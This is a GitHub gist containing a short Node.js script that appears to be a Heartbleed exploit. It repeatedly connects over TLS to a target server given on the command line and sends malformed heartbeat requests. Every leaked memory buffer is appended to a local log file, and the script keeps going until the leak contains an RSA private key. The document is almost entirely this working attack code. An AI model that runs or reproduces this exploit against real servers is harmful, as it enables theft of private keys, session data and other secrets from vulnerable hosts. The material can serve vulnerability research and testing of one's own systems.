-
-
Save indutny/df1800682a70d07eea75 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var fs = require('fs'); | |
var tls = require('tls'); | |
var log = fs.createWriteStream('1.log', { flags: 'a' }); | |
function parallel(ip, port, host) { | |
process.stdout.write('-'); | |
var s = tls.connect(port, ip, function() { | |
process.stdout.write('+'); | |
setTimeout(function() { | |
s.ssl.fakeHeartbeat(); | |
}, 10); | |
s.ssl.onfakeheartbeat = function(buf) { | |
if (buf.length > 16000) | |
process.stdout.write('.'); | |
else | |
process.stdout.write('_'); | |
log.write(buf); | |
var leak = buf.toString(); | |
if (/BEGIN RSA PRIVATE KEY/.test(leak)) { | |
process.exit(); | |
} | |
s.ssl.fakeHeartbeat(); | |
}; | |
// Ignore all data | |
s.on('data', function() { }); | |
// Send fake requests to keep connection open | |
function fakeReq() { | |
if (!s.writable) | |
return; | |
s.write('GET / HTTP/1.1\r\n' + | |
'Host: ' + host + '\r\n' + | |
'Connection: keep-alive\r\n\r\n', function() { | |
setTimeout(fakeReq, 5000); | |
}); | |
} | |
fakeReq(); | |
}); | |
s.once('error', function(err) { | |
console.log(err); | |
process.stdout.write('!'); | |
parallel(ip, port, host); | |
}); | |
} | |
for (var i = 0; i < 1; i++) | |
parallel(process.argv[2], process.argv[3] | 0, process.argv[4]); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment